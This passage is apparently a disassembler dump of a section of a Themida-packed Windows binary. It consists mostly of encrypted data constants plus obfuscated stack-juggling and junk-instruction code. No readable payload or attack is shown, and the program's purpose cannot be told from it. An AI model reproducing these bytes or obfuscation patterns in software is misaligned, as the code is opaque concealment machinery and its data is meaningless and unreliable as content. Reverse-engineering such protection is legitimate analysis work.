0E91337FFh, 0F4F0767Ch, 3573E96Ah, 4512EAFFh, 0D6F0767Ch dd 1E73E96Fh, 0D012E6FFh, 0B0B69C7Ch, 0F29D11F1h, 2375FD7Ah dd 0D45E17FBh, 0D525FB61h, 0ADFDF53Fh, 916E9A6Ch, 0CFB73422h dd 0B723AC7Ah, 1A20AD29h, 7975FD7Ah, 0F0987C27h, 0A073E612h dd 341360FFh, 0AC87D7Ch, 0CF73E61Ch, 0E4C5B409h, 0F9B54B75h dd 863589BAh, 0A712E6EFh, 96FEBD7Ch, 2F7A452Bh, 28AFD7Ah dd 0CD6E9A61h, 83EB48F7h, 0C6F8FB61h, 4B9D50FCh, 0CF75FD7Eh dd 5E76456Fh, 0BA8AFD7Ah, 916E9A61h, 0ADEB48F7h, 0D1F8FB61h dd 228A50FCh, 87BC1F23h, 0A71360F7h, 52DA07Ch, 0EC2CA320h dd 97776D92h, 0C1CD4D7Ah, 708A5779h, 0F46E9A6Dh, 79D3ED1h dd 0DA75FD78h, 54CD9BC2h, 0D0DE9B59h, 8C12EAEFh, 8DE9B7Ch dd 0E5779592h, 0F3360B7Ah, 866E8872h, 0A712EAEFh, 54C54D7Ch dd 0BA8AAD79h, 916E9A6Dh, 2BF69B20h, 277E9B7Eh, 1AB6561Ch dd 7975FF6Bh, 0BE4E1529h, 652FFD7Ah, 0A57B89A0h, 94913D59h dd 7F5DF70h, 83FE4DBAh, 9D3ED1h, 2A75FD7Bh, 0BC77E192h dd 844EA77Ah, 49C5120Eh, 7FA916D0h, 0CB75FCA7h, 0ED74BE8Ch dd 1A26D30Fh, 7975FF7Bh, 0BD360B20h, 65548872h, 0A56889A0h dd 94913D59h, 7F5DF70h, 0B5FF4DBAh, 95626885h, 1F2FFB61h dd 0DA51FD5Fh, 0F5133F71h, 85E94DB9h, 9774BD92h, 61F44D7Ah dd 0E5743592h, 0F22D157Ah, 91DEFD7Ah, 0BC75FC57h, 9DDF60CAh dd 0C7DF61CAh, 9775FC5Bh, 4A13451Ch, 439D561Ch, 1A75FD7Bh dd 7975FD4Ch, 0B69D561Ch, 0EE75FD7Bh, 9FB657E7h, 699D57E6h dd 2375FD7Ah, 0E575FCF3h, 0FA74BE8Ch, 0F9C5F20Fh, 0BC6515D0h dd 0DEDFFD7Ah, 487DF99Eh, 97AA1584h, 56C5FD7Ah, 0E2CD3ED0h dd 0D75FD7Ah, 6212E6EFh, 5EC0707Ch, 5D73E61Ch, 2C7F518Ah dd 80E002D0h, 873E61Dh, 0E574E592h, 0F8254D7Ah, 4B9D5779h dd 548A0284h, 5E75FC43h, 2C7FA5CAh, 0C7C53ED0h, 61274DD0h dd 1A8BE192h, 0FDCD9B85h, 91DE9B4Bh, 438A036Bh, 0EEDFA7CAh dd 9FB65722h, 3C225792h, 0CB750C92h, 22FEA77Ah, 1AF63F51h dd 9177747Eh, 438A008Bh, 5E750592h, 252D4D7Ah, 69B65779h dd 0D01369FFh, 71C87D7Ch, 0F373E61Ch, 0FCF8EC0Fh, 0BA6E9A7Ch dd 5C61152Ah, 1B9DFD7Ah, 2775FD78h, 759D571Ah, 0D8A0287h dd 0D8A00C3h, 87DF9CCAh, 0A71369F7h, 0CAC87D7Ch, 2F73E61Ch dd 12F8F10Fh, 0CD6E9A7Ch, 0E4DE152Ah, 4AB6FD7Ah, 7975FD7Eh dd 0DB6E6885h, 0C3F8FB61h, 296E9619h, 3D6DF9F0h, 619C4DB9h dd 8E9D562Dh, 0A875FD7Ah, 0BB5E3AF1h, 357115F9h, 0CB8A3E78h dd 296E9A6Dh, 96514ACEh, 74C1FF0Eh, 4E13F2CAh, 0F275C992h dd 279DAE7Ah, 0E675FD7Ah, 0BEB5FEF0h, 25B5F179h, 68B65778h dd 0D012EAEFh, 0EA917D7Ch, 42F539FAh, 2EDE9B75h, 415A15D1h dd 0D52F0285h, 0ACB7D6BDh, 95FCF992h, 0CB7345B9h, 708AFD7Ah dd 0F46E9A61h, 1F8F60F7h, 0A0F8FB61h, 4ECD3E39h, 0D075FD7Ah dd 8C12E6EFh, 0CEB57E7Ch, 1A8935F1h, 0E912EAEFh, 8E97577Ch dd 43BE15B9h, 1DFF0285h, 5A72D97Bh, 7F76778Eh, 0CB75FC6Ch dd 1DB61608h, 0A7890883h, 0BDF611F1h, 0BC9D9D86h, 475FD7Ah dd 440617FBh, 0EAFCFB61h, 0DDCF7D86h, 0E573E61Dh, 0F2EC7975h dd 73CDFD7Ah, 4375FD7Ah, 4512E6E8h, 0ADFCBD7Ch, 916E9A65h dd 79F835F1h, 0E36E913Dh, 95626F85h, 7FFDFB61h, 4801F3Ch dd 5E75FD6Dh, 486A7F79h, 1A35FB61h, 0D019C6E0h, 0E1B67E7Ch dd 4B22FEF3h, 7975FD64h, 0DB6A7779h, 0ECF8FB61h, 296E9153h dd 2F2B5989h, 0CB75FD72h, 826E6F85h, 0AF6FB61h, 7185897Eh dd 0BC72447Ch, 5A7DFD7Ah, 0F7C3F24Bh, 2E761EBBh, 0CB75FD74h dd 5C44E172h, 0F275FD76h, 0C044F972h, 0BC75FD61h, 0E744F972h dd 2F75FD66h, 7F44F972h, 348A015Bh, 848980F3h, 3B8980F1h dd 7F9DADB9h, 9C75FD7Ah, 7A110222h, 6BFCA58Eh, 16E9055Eh dd 0B389D93Eh, 7867C92Ch, 0F2B6AD3Ah, 7975FD7Ah, 0BC75FD7Ah dd 0B2FEA87Ah, 2F75151Ah, 162FFD7Ah, 0D019A790h, 0C6CF707Ch dd 7973E61Dh, 71CCF50Fh, 4F75FD7Ah, 9CBC9CDEh, 0A226FD7Eh dd 8C12DEE7h, 0D3497D7Ch, 0BE71887Bh, 0A9771683h, 0F2203E82h dd 0BC9D9D96h, 475FD7Ah, 43E617FBh, 25F8FB61h, 0CD6E9A59h dd 5C7D80F1h, 0F275FD72h, 0B0145989h, 0DC75F9B8h, 395640F7h dd 0EF46FB61h, 9775F5C3h, 0AADF0E7Ah, 58F89DB9h, 0F46E9A59h dd 7874C2FBh, 0B000FC7Bh, 5F7182FBh, 5A74FC7Bh, 969E0479h dd 0ABB69C82h, 825640F7h, 0F3CDFB61h, 0C075FD7Ah, 0BC75FD72h dd 9D145789h, 0EFFE3DF1h, 0F04578F7h, 0D08AFB61h, 2AE9CA8Bh dd 0C7000000h, 2404h, 0E80000h, 5D000000h, 6D13ED81h, 448B061Bh dd 85890424h, 6140E49h, 0B8h, 0FF8D8D00h, 0FF06144Dh, 6754B8E1h dd 0CEB0000h, 18DC48D1h, 592DA9A8h, 0DB044E4Fh, 5F6E9h dd 5EAE900h, 19290000h, 405A266h, 0EF1A8589h, 0D3F16EB2h dd 0BCCB54D8h, 9ABE3DC1h, 9C601D2Ch, 8B8F0603h, 71B5F01Ch dd 55D9D4F6h, 0D564C138h, 6E55EBFFh, 6567E325h, 4D790636h dd 0BBC93A52h, 953AF391h, 6B20F2BCh, 9ABDC5Eh, 6C9C80FBh dd 0ABB4C4E8h, 7AE9E19Ch, 1793AE0Fh, 2C1053F0h, 671A29E6h dd 83FA0857h, 2439F888h, 81B9F411h, 15D1305h, 4916969Ch dd 344B433Eh, 0FA629A13h, 0AB86FEBh, 95DA040Dh, 37E9B34Eh dd 23476200h, 0BB888F28h, 9FE349DBh, 0B8F5106Fh, 0A4971083h dd 3F55ECB0h, 6219D95Bh, 0B09BB6F7h, 341855ECh, 6B2621FEh dd 0DA95D253h, 11FEB4B4h, 0C5C0CBFAh, 0D4A04141h, 0B70306A7h dd 0F7706D38h, 8FBFA3DAh, 55D9D4F0h, 0CBC3BECAh, 0C1377A6Ah dd 155467D8h, 0E976BCF7h, 0B7474382h, 3EC2E695h, 0BAD1A746h dd 0D51BA4A3h, 95618657h, 5750A2C6h, 0E9DD48D6h, 95A5A9C3h dd 0DF6ACB26h, 54C3B95Dh, 8CB322F0h, 6EC3B95Dh, 0D69588EFh dd 0AB37FDB8h, 15DE5B85h, 0A3966D1h, 2BC3B951h, 1F10BF3Bh dd 0F76458FCh, 0B9409BB6h, 103418C3h, 76102h, 2A4F0000h dd 3B3h, 0CCFD8B40h, 5F496DE5h, 6759790h, 0CB8092F6h, 0E752D3BFh dd 7C53F094h, 0A6DC17EAh, 0D31B470h, 7C8BD2E9h, 878D0901h dd 702D5827h, 92090758h, 0A9E4E57Ah, 0C1286791h, 0FC72C16Eh dd 8DF153F0h, 0BFD6B969h, 5098480h, 1B336E9Ah dd 0DEEC353Dh, 4E722B5Ch, 7D25213Eh, 0F0FC0130h, 9ABE8253h dd 0DF36E562h, 46ADEC5Bh, 7B900B07h, 59547108h, 95A4A521h dd 8553F0FCh, 9AFE0E89h, 20D02226h, 0DFEA8C87h, 0B4D5AAA2h dd 2145C1F9h, 4D7F0E3Dh, 97E8D45Eh, 8D0A0279h, 0D3847AEh dd 0A0CD8C90h, 0CE9DFD7h, 2757527Dh, 3C0FA8A3h, 0B735E7DAh dd 7B8A41D3h, 68650206h, 0D6AE1D2Dh, 0D78548AEh, 5F0C0659h dd 7437B32h, 73EE41A8h, 99A0DDECh, 35E790AAh, 30EF2529h dd 44969A13h, 9Ch, 0BCF9146Bh, 6E808C76h, 6B9DE21Ah, 0C09FEC30h dd 9348CAC3h, 0AC0D3D78h, 53F0929Dh, 407F9645h, 5BC44845h dd 3847772Eh, 24616C06h, 92BB9617h, 543853F0h, 937C1830h dd 0E936A17Ch, 53F0925Ah, 0D94675D9h, 53F0926Ah, 0F0AF65E9h dd 0C956DAD3h, 0B6C9C1BCh, 65E21A97h, 23205FB6h, 0A39A66Ah dd 28205D6Ch, 967088ACh, 0C42B6A99h, 0B9F41269h, 500F0581h dd 2FB87C31h, 0D1506823h, 53F0926Dh, 0BECD246Bh, 78131792h dd 7027770Dh, 0F577B40Ch, 0F0D245F4h, 7F81DE53h, 202AE80Ch dd 0AC9F188Bh, 2753F092h, 0D2F6A7D8h, 47F8B40h, 245F6BF4h dd 42394B14h, 9D18354Ah, 779E396Dh, 57BEDDB3h, 0CD931C28h dd 0F3A7B26h, 8453F06Fh, 3846E80h, 675B9DDh, 0A3AE4847h dd 4E72D6E6h, 5D58DA3Eh, 53F0BE85h, 3572ED1Eh, 53F0BC06h dd 977BB99Dh, 8594B64Ah, 0FFFF0D56h, 618042FFh, 8347E01Bh dd 3349DC6Ah, 90621B2Ch, 6FDCEC50h, 284CEF10h, 987603F4h dd 656681A5h, 7EB41028h, 0FA179FA1h, 0EB0F8B83h, 0F7155427h dd 0A088CBCh, 40783355h, 7D8CD3h, 0C9868C08h, 8CC8C0BBh dd 0A51CC23h, 0E37585F8h, 0A669023Ch, 57DDC157h, 131786B8h dd 33B7294h, 0E42B98A2h, 8DE41355h, 4B862792h, 0C855E42Bh dd 566CD244h, 0B7ADE0FFh, 0E19CAE7Dh, 56E49AEAh, 3FF1ACDEh dd 0AE64023Dh, 504B7DEAh, 5B21C038h, 89878720h, 94F84FC8h dd 226DFB90h, 86BFB7FBh, 49982CE6h, 50AF0803h, 9C45F354h dd 9A21AFC4h, 6DA76666h, 46193115h, 243C4F4Ah, 0F47D0B4Eh dd 15DD57E4h, 0C7F87E8Ah, 3E22A6D6h, 236EAF0Eh, 192AA0EBh dd 0FC0B5464h, 0B2DD8981h, 804FD75Bh, 732E5A69h, 0F140ED58h dd 7262FBE7h, 0BBDFDAF5h, 212EB979h, 0F9085764h, 213E8E84h dd 3516A25h, 0EFCA07E1h, 3676BC4Eh, 0F5056CEBh, 0B6A00227h dd 0CAB7h, 1269C400h, 87B2BBF6h, 1C62FBFBh, 0FBB38E2Fh dd 4C3062FBh, 6760EA28h, 74F33766h, 4FD85C59h, 0B5C64A41h dd 0F1F3D4BFh, 99B5FB97h, 6338FA1Eh, 7AE52964h, 55D2564Bh dd 7ECD6A38h, 0F553F050h, 2265B6Ah, 818D1A1Eh, 5A76F506h dd 821DD55Fh, 9E090D80h, 0A31DC06Fh, 2CF38634h, 5D416520h dd 0C772B32Eh, 5C53F088h, 78A3AF8h, 0CA6D8A7h, 68608401h dd 0C461DCEFh, 53F08875h, 1A6E2925h, 0F81FFC36h, 0C855C03Bh dd 53F08879h, 215C6DFAh, 9E89AD29h, 0C2FD3772h, 0F088D665h dd 0D2E96D53h, 10E6B582h, 9E94B943h, 7D4FBFDAh, 6Fh, 0D8F48BFBh dd 0BB57DDh, 92390895h, 0D6BA53F0h, 92E7515Ch, 0C02F53F0h dd 67BB79A9h, 74F33766h, 0F2A9A759h, 0D65A7EDAh, 0BC403B49h dd 52692423h, 4C79F90Bh, 0B91D2D51h, 2120BF7Bh, 8CD3A86Ch dd 5BF0027Bh, 0AF22852Eh, 95D34E87h, 8FDEAD71h, 56050F7Eh dd 0A5838D3Ah, 536B2621h, 1D6B21F7h, 0E58286AAh, 0B664A8E3h dd 3, 67A68C3Ch, 7B043467h, 253A5249h, 15E6E29h, 0EE718904h dd 0D5AAA2DFh, 0BCC3FBB6h, 98E7178Eh, 4718306Dh, 1F275746h ; --------------------------------------------------------------------------- loc_5F4E54: ; CODE XREF: Themida_:005F2394j push 2305h mov [esp], esi push ebx mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], esi push 1F05h mov [esp], ebx mov esi, 25F94EF1h neg esi add esi, 0FFFFFFFFh sub esi, 0D3EB43C0h push esp mov ebx, [esp] add esp, 4 push edx mov edx, 8 add edx, 26F32AEEh add edx, ebx sub edx, 26F32AEEh mov [edx], esi pop edx mov ebx, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp mov esi, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_585C7C ; --------------------------------------------------------------------------- xchg bh, [eax+61B72B8h] add eax, ebp mov edx, ebx lea ebx, [ebp+6140DD5h] mov eax, 23E4h mov [ebp+6140089h], eax call $+5 pop eax add eax, 0Dh mov [ebx], eax jmp loc_5F72E4 ; --------------------------------------------------------------------------- dd 8F9h dup(0) ; --------------------------------------------------------------------------- loc_5F72E4: ; CODE XREF: Themida_:005F4EFBj jmp loc_5F7312 ; --------------------------------------------------------------------------- db 9Ah, 87h, 62h dd 41h, 8 dup(0) db 2 dup(0) ; --------------------------------------------------------------------------- loc_5F7312: ; CODE XREF: Themida_:loc_5F72E4j jmp loc_5F7FB0 ; --------------------------------------------------------------------------- push 61B997Dh jmp loc_585C7C ; --------------------------------------------------------------------------- push 61B9A72h jmp loc_585C7C ; --------------------------------------------------------------------------- push 61B9B48h jmp loc_585C7C ; --------------------------------------------------------------------------- push 61B9BE6h jmp loc_585C7C ; --------------------------------------------------------------------------- push 61B9F02h jmp loc_585C7C ; --------------------------------------------------------------------------- push 61BA18Eh jmp loc_585C7C ; --------------------------------------------------------------------------- push 61BA2A4h jmp loc_585C7C ; --------------------------------------------------------------------------- cmpsb cmpsb jmp short loc_5F7388 ; --------------------------------------------------------------------------- db 0B8h, 87h, 16h ; --------------------------------------------------------------------------- adc dl, [ebp+6CFB3F7Ah] pop esi daa jecxz short loc_5F73B2 inc ebp dec eax les eax, [edi+6Dh] movsd cmpsb jmp short locret_5F739E ; --------------------------------------------------------------------------- db 0B8h dd 910E128Bh, 69F63A75h, 0B5E02457h, 55AE936h ; --------------------------------------------------------------------------- loc_5F7388: ; CODE XREF: Themida_:005F735Fj jmp short loc_5F73DF ; --------------------------------------------------------------------------- dw 0BAD9h dd 35686776h, 534E7A05h, 2256B7CFh, 6FAA8C29h db 0DCh, 49h ; --------------------------------------------------------------------------- locret_5F739E: ; CODE XREF: Themida_:005F7375j retn ; --------------------------------------------------------------------------- db 7Fh dd 0C461DC4Fh, 55E49C75h, 0D888A8Eh, 55E49C32h db 0D0h, 35h ; --------------------------------------------------------------------------- loc_5F73B2: ; CODE XREF: Themida_:005F736Cj ficomp word ptr [esi+ecx*2+688BA896h] xor al, 0 ; --------------------------------------------------------------------------- db 0 dd 61804400h, 9290A30Ch, 2F1353F0h, 94CABFF9h, 0CFF330AAh dd 0A98773BCh, 0B49849DCh, 3C481784h ; --------------------------------------------------------------------------- inc ecx mov bl, 0C2h loc_5F73DF: ; CODE XREF: Themida_:loc_5F7388j jnp short loc_5F7422 in al, 55h cdq jle short loc_5F73FD fist dword ptr ds:0A18BA960h pop es ; --------------------------------------------------------------------------- db 3 dup(0) db 0Fh ; --------------------------------------------------------------------------- loc_5F73F1: ; CODE XREF: Themida_:005F7415j sub al, [ebp+8] ; --------------------------------------------------------------------------- dd 8B400000h, 72949FDh ; --------------------------------------------------------------------------- cmpsb loc_5F73FD: ; CODE XREF: Themida_:005F73E4j stosd insd lock push ebx sub [edx+esi*8], ah cdq nop pop esi aam 7 add eax, 0E7196696h mov ah, 70h adc cl, dh mov esi, [eax+37h] jnp short loc_5F73F1 fmul qword ptr [ecx-74h] jp short loc_5F7492 push ss and eax, 0D3F71CA4h loc_5F7422: ; CODE XREF: Themida_:loc_5F73DFj mov eax, 29EBA6A1h popf sbb al, 21h xlat in al, 55h retn ; --------------------------------------------------------------------------- dw 0ED04h dd 0A8CD3FEDh, 405F8Bh, 80550000h, 75E01B61h, 0F0921928h dd 2E449A53h, 0EBAF1DB6h, 6F58DAFEh, 0DCDC50CEh, 9DAD9149h dd 0C772B32Eh, 5C55E42Ch, 69242FF8h, 0BE3FF551h, 55E42C8Fh dd 4F8BE26Dh, 8BA94AA1h, 0D93Dh, 6567FB00h, 0DF950636h dd 554C14E7h, 0C30016AFh, 0D24E617h, 0E918B77Dh ; --------------------------------------------------------------------------- mov ah, 87h loc_5F7492: ; CODE XREF: Themida_:005F741Aj clc retf ; --------------------------------------------------------------------------- dd 1B6440D2h, 453849E9h, 0A3BA2921h, 79DDEDA8h, 909BC3A7h dd 24EE3EB5h, 15265577h, 0E9A4A3BAh, 0C57475D1h, 5E53F0C6h dd 317838FAh, 53F0C36Eh, 4A413C4Eh, 949E1533h, 4A4143DCh dd 5A3BCA32h, 0F0CB6EDDh, 7D61E553h, 2345E14Eh, 9AFE49DCh dd 0D41B1361h, 517400B0h, 849FAFDFh, 0B87A4C21h, 137988F8h dd 296461F8h, 325FD8EBh, 354FCB59h, 24233A51h, 0B3AA569h dd 0A4FA9196h, 2A826303h, 9F418h, 0B7EA1A00h, 0DAD3F473h dd 0C3BEC956h, 0EBA2A03Fh, 1489B827h, 11A18B10h, 0EC7BBFF2h dd 0C562A6DFh, 0DD4ACEC9h, 412CF0ABh, 0B8EBDFAh, 0CE0555EBh dd 356867CAh, 595476F1h, 188B1FD5h, 0F092AC9Fh, 0D1232753h dd 43780CDDh, 0DC6C74E2h, 72898D49h, 6EA4DFEBh, 3572ED5Eh dd 55E49C06h, 7A7BB99Dh, 55E49CC3h, 5CCF2621h, 9CF544E1h dd 0A0E55E4h, 9ABA6008h, 0BEC48BA8h, 0D0000000h, 9C52FD8Bh dd 2CC2BFCEh, 0CA48AA9Fh, 80B8F315h, 6DCAD0FFh, 53F04FDEh dd 0E0D4D1FEh, 0E140789Ch, 53F04A3Eh, 0BDCA6C9Eh, 284CC8C0h dd 52497BE4h, 6B262239h, 813DF753h, 8FBCC819h, 0DC9B042Eh dd 55D9BD49h, 7EBFDC2Dh, 55E46BC3h, 0EDA1DCEBh, 0E9364569h dd 4FCB0E95h, 0F381BA9Eh, 0CE316A14h, 0D0FE2915h, 1D6C5FD5h dd 0F06FB3EEh, 0CE5BDCD1h, 0A2630390h, 8FF784Ah, 0F5150000h dd 0D8E976BAh, 0CBC661A5h, 0AFDD4ACEh, 98B730F4h, 0B69A21E5h dd 888C0100h, 77BBF21Fh, 5DA1DCE8h, 49CDC0C2h, 0E150DD2Ch dd 6255EB08h, 6867EFD1h, 0AAB0635h, 53F0923Fh, 9642D0B4h dd 8084F709h, 366567B2h, 0FD3A9506h, 53F0924Eh, 1CB341C5h dd 0C87BA4EAh, 4B53F092h, 0D1A8A3C7h, 46C2FAB5h, 0E87704CCh dd 3094A4D9h, 66B054E2h, 6FDAF187h, 0FBFFDE19h, 0F93BD36Ch dd 0DC668AFCh, 0FA88349h, 55E4873Ch, 9CAFD3B7h, 4DC7C2CDh dd 562DF3B0h, 9B6A2BB9h, 151DEEDh, 0C2E6050Ah, 0FF0F8A85h dd 74C7609Bh, 8FE61DE0h, 0EF57678Bh, 0D4516A1Eh, 0FC32696Fh dd 106F9CE0h, 0FD8CBFEEh, 65182ACCh, 47CD4941h, 0BBF21493h dd 29F3F174h, 6B3991B3h, 829h, 0A86C1F2Fh, 9B9F0E3Fh, 8084010Ch dd 6EB2E9E7h, 5BDFD2F1h, 3756FCD0h, 1C29B67Ah, 6029D61h dd 0E618878Bh, 0BB0673B7h, 0EB09CF7Ah, 850F4455h, 5A216567h dd 0DA69702Dh, 5953F092h, 31336407h, 0CDF1FDA6h, 0D82991A9h dd 0EC1E9FACh, 6549DCB1h, 7793EAE1h, 54700F3Ch, 0DCECA1A2h dd 0A0245478h, 0D39A652h, 72097A92h, 0BBCD5A57h, 0C64CC8C0h dd 0E47864D7h, 88B38A55h, 957455E4h, 4B4BD4E7h, 0E34FC88Ch dd 35049495h, 0A46E160Fh, 0BFC0F85Ch, 0A0191E8Dh, 0F86305BEh dd 78BB280h, 81810000h, 6C9D0A0Eh, 5772ED31h, 3B49D65Ah dd 2423BC40h, 3226A569h, 4088584h, 0F3376E9Bh, 0D95D5874h dd 0BD413C4Eh, 7DCC69D0h, 0F655EB09h, 61805B5Dh, 1A75E01Bh dd 0F092AE9Dh, 0D3212553h, 0DC76E4E2h, 1391D49h, 0CC504D7Eh dd 472DA9BFh, 2563FC06h, 650F30EFh, 0F7072B66h, 0FC0F7B8Fh dd 0BA891681h, 3955E4D8h, 0ABDEDF55h, 0A855E4D9h, 0C43394A4h dd 306D9EADh, 0D892ADECh, 0B15555E4h, 987F3B37h, 7D61E920h dd 0F9E9364Eh, 24D943CCh, 0C550DDEEh, 1E55E47Dh, 0CF85F63Ah dd 54242B0Fh, 56537E7Eh, 1A2BE032h, 0BCA6B63h, 0B355E406h dd 0ED1E2D44h, 491F6CB0h, 0CFA28A91h, 49060C12h, 0C6354538h dd 0C7DDEC8Eh, 59DBD20Ch, 0E47E315Ch, 638A6955h, 0A66A2324h dd 4D7E0ADEh, 0E47F5EE0h, 5B73D755h, 5DA88DAh, 6AF128E1h dd 0CD3215Ch, 0D94795E5h, 0BB57000Ah, 0E4000001h, 0DB1D2C89h dd 49962986h, 0C35C403Bh, 56B2CAC1h, 0F48B5ADCh, 4843DCD9h dd 5BD93D4Dh, 0C5F68263h, 0DC728A58h, 0B4C74B49h, 6E9FEE59h dd 0B2033E3Fh, 478055E4h, 0E3315548h, 9F631A2Ch, 5274FE00h dd 83A7235Bh, 4341188Bh, 96CBCA48h, 0F2CC3BEEh, 0D1AEDED3h dd 89CDFDB0h, 9F43C72Eh, 98AAD930h, 848621E5h, 6362F209h dd 125ECAA2h, 41B9050Fh, 0DBA2D9A5h, 7A3EF4AFh, 0B3947301h dd 0A4000FB1h, 3DF3BAAAh, 72807359h, 0C4F4AFDDh, 83FA0857h dd 56050F8Bh, 0D808234h, 88BA25E9h, 0FE76E515h, 7AF09655h dd 0CEBFC044h, 0FC365ABEh, 31AE1CF1h, 0C1288768h, 0FE0D8082h dd 1F2F5E6Fh, 0C2B979BBh, 0E4148FBBh, 138A8760h, 45384A01h dd 4D39CD35h, 8D42F13Eh, 86C1AC15h, 9AFE0E8Bh, 1635B276h dd 85F0639Bh, 158D2918h, 6CA6AAACh, 0CBC08C58h, 158DDB6Ah dd 1C1E50ACh, 2EE6B7F0h, 8A15193Dh, 6AF50578h, 4916265Bh dd 128BB83Eh, 0B88DEEEh, 3957AE1Ah, 0BFF6130Ch, 56CCB8Fh dd 0C7156ECFh, 0F61A2E4Bh, 0FC0B62D1h, 0D04FD3CAh, 27520DAEh dd 4F841867h, 5FAB132Bh, 0B49F1833h, 3FAC157Dh, 3648D75Bh dd 1C283747h, 0F336E9Ah, 205B6DFCh, 0C58AD2D2h, 3E6D9FAEh dd 375B6DFAh, 157D5BF6h, 5074D8ACh, 99B4CB38h, 0AA68EC1Ch dd 0C878F612h, 68B06B06h, 108721F7h, 868BE52Ch, 61CC6962h dd 8AAC152Fh, 9D1A7586h, 0AC152FAEh, 27D32125h, 0BEF91554h dd 0F0ABA774h, 0C8984DBh, 2A9A98FCh, 112A56B2h, 152FB594h dd 0D0F289ACh, 2CDE6DCAh, 0F155AC15h, 5F2347CDh, 656719DBh dd 7392F236h, 0BDA9F605h, 3649DC77h, 0BFCE3952h, 42191B92h dd 58C74B46h, 0E159712Ch, 0D4477400h, 55C3669Ch, 2A8B0FDDh dd 55E4671Fh, 868CB094h, 0C880EB17h, 0E0187C4Fh, 0D979FE41h dd 0DCA8395Fh, 0BB4D0AFh, 9AEF76CEh, 85B5D99Ch, 77B0F301h dd 45F53377h, 0EB748488h, 0EE5DA2D9h, 865CF175h, 46F0416h dd 65650000h, 4879E62Ah, 3B56D155h, 1F2DBA7Eh, 807A064h dd 260A9195h, 0F83C7190h, 0E72B626Fh, 0CD514C78h, 0B97D3052h dd 71C06DDCh, 0F255EB0Dh, 61805F41h, 6E99E01Bh, 0CBC3BAC8h dd 0B7132B4Fh, 0DE5427Dh, 2649DC90h, 4EB92A22h, 0E49352E1h dd 0A76DD155h, 0E4931436h, 9D183655h, 0BBF6126Dh, 168C783h dd 0CA212C39h, 0A8896288h, 7D7C8Bh, 73010000h, 0F59A23B1h dd 1E00125Bh, 0F092B6B9h, 3C799653h, 9364880Ch, 51E04DB8h dd 0D253F092h, 0D5F7A46Eh, 0C72262A6h, 0E2582B9h, 0E253F092h dd 0C108EA92h, 28EA142Bh, 8838FD8h, 798BD4E4h, 6386FE02h dd 92B9E615h, 153F0EFh, 50720D3Dh, 5CA9D95Dh, 839A1B30h dd 0C853F0EFh, 4AF53444h, 9253F02Ch, 0FDA4CA3h, 72ED4A41h dd 0F953F02Ch, 0B85B9195h, 68000000h, 83BBF611h, 8B0B0D07h dd 0ADDDD8F4h, 32D3EB29h, 0EAE83546h, 0B49DC76h, 0A5D5D0FCh dd 720D3D21h, 0ACD45855h, 9213285Ch, 55E4B1A3h, 0B7245438h dd 1C78B7A1h, 0C64CDF1Bh, 0E42369D7h, 254C8B55h, 0A93A07D5h dd 6D978Bh, 8B1D0000h, 57DDD8F4h, 0C0FB8F5Fh, 0DCC5F5B0h dd 9633B818h, 6D53C5C2h, 0A7D6F77Dh, 0E9367183h, 53F0B45Ah dd 3A4575D9h, 0F48C900Dh, 0CA6B6014h, 53F0B5A3h, 0B186790Fh dd 0CD356EB3h, 2F5F2347h, 0F04EBF8Eh, 61886753h, 8103B6CEh dd 235D5B2h, 0CE9DAC09h, 321653F0h, 483CCCE0h, 0CF9BF233h dd 0AC9053F0h, 0BB62C99Fh, 1635CF37h, 679E541Ch, 4F053665h dd 54051320h, 318D87EBh, 9D611C2Eh, 5B7004E5h, 0DC5110DAh dd 4575D949h, 0E4D159E4h, 355CBB55h, 0A8CBF725h, 34878Bh dd 802D0000h, 47E01B61h, 49DC6CD7h, 95142428h, 55E49CAAh dd 0A027F8Ah, 9C2D1C99h, 0A2A655E4h, 31494445h, 0CB4FA629h dd 0DA187F9Eh dd 8BA89B14h, 0C6A2h, 65670E00h, 4A460536h, 0E21A93B4h dd 0F4B04266h, 29215C6Bh, 0EEA5A3BAh, 0E3B87ADEh, 0C170BDE1h dd 4253F092h, 31A2DAFEh, 91631E2Ah, 51D5C8FAh, 0F0975508h dd 98133553h, 82F90B94h, 7EF3128Ah, 53255550h, 2CEC915Fh dd 35597D58h, 15D59906h, 3A1E49DCh, 97F8EF6h, 25606BF2h dd 1361DCEFh, 0E1FA11D1h, 0BBE7549Ch, 7BBCA242h, 0D6D0DD57h dd 2F4FCB5Fh, 3A49102Bh, 0B1C8C347h, 451A1893h, 5FC44B46h dd 636303A3h, 1E3390Bh, 0D9E90000h, 0C4C562A6h, 0AFDA45C9h dd 93B12EF2h, 7C8B1418h, 5A7EFD01h, 5CA0DDECh, 4BCFC6C3h dd 31F5B0DCh, 151994B6h, 95A40178h, 2E55EB33h, 686723E5h dd 5476F135h, 8B1FD559h, 92AC9F18h, 232753F0h, 780CDDD1h dd 6C74E243h, 898D49DCh, 3B710772h, 30F108A0h, 8B182B32h dd 0B79B55E4h, 5DE0417Dh, 0BF55E48Bh, 0F3393950h, 438BA8A5h dd 57690B3Ch, 8C080024h, 61A14A9Ah, 4CC6F21Fh, 0DBB3h dd 65677900h, 0A3C7C2CDh, 232138ABh, 3EF45068h, 0B2D46261h dd 733B2609h, 0ACD03309h, 0E414389Ch, 0F07D9A45h, 27C8FA53h dd 0C1FF4256h, 265D6B0Ch, 6A8EB216h, 940739A6h, 5D68F764h dd 0BDAD220h, 2DE14E7Dh, 0C649DC22h, 52CDBE42h, 0E4E866D5h dd 8799FD55h, 99E87ECBh, 7448CA73h, 4BD4E795h, 4FCBFF2Eh dd 0D34E7DC1h, 0CDF47F8Ch, 0B2B5CFCh, 855AD8FCh, 69F00B86h dd 5C2A225Dh, 0B5086D21h, 48CAEE5Bh, 0BDF01F88h, 4AD1F7Ah dd 7547B763h, 0CDh, 44C8C3C3h, 2FF3AADBh, 141895B0h, 2067D8Bh dd 0E72B6665h, 0C3C27064h, 0B0DD4ACEh, 9AB631F5h, 7A8C1B1Fh dd 2F92FF03h, 0EB30B38Eh, 19833055h, 0F1356867h, 32502F9Ah dd 86C7437Bh, 53F0924Bh, 11CE44C8h, 0BA78BCEFh, 0C0C46567h dd 3AFA6BDCh, 0DB0BCF21h, 0F51AAC18h, 0A4A6B9D1h, 8C5D25E9h dd 0C62C3F8h, 2549D41Bh, 645A2A21h, 2F2FD716h, 0CAC620F6h dd 0D57192EDh, 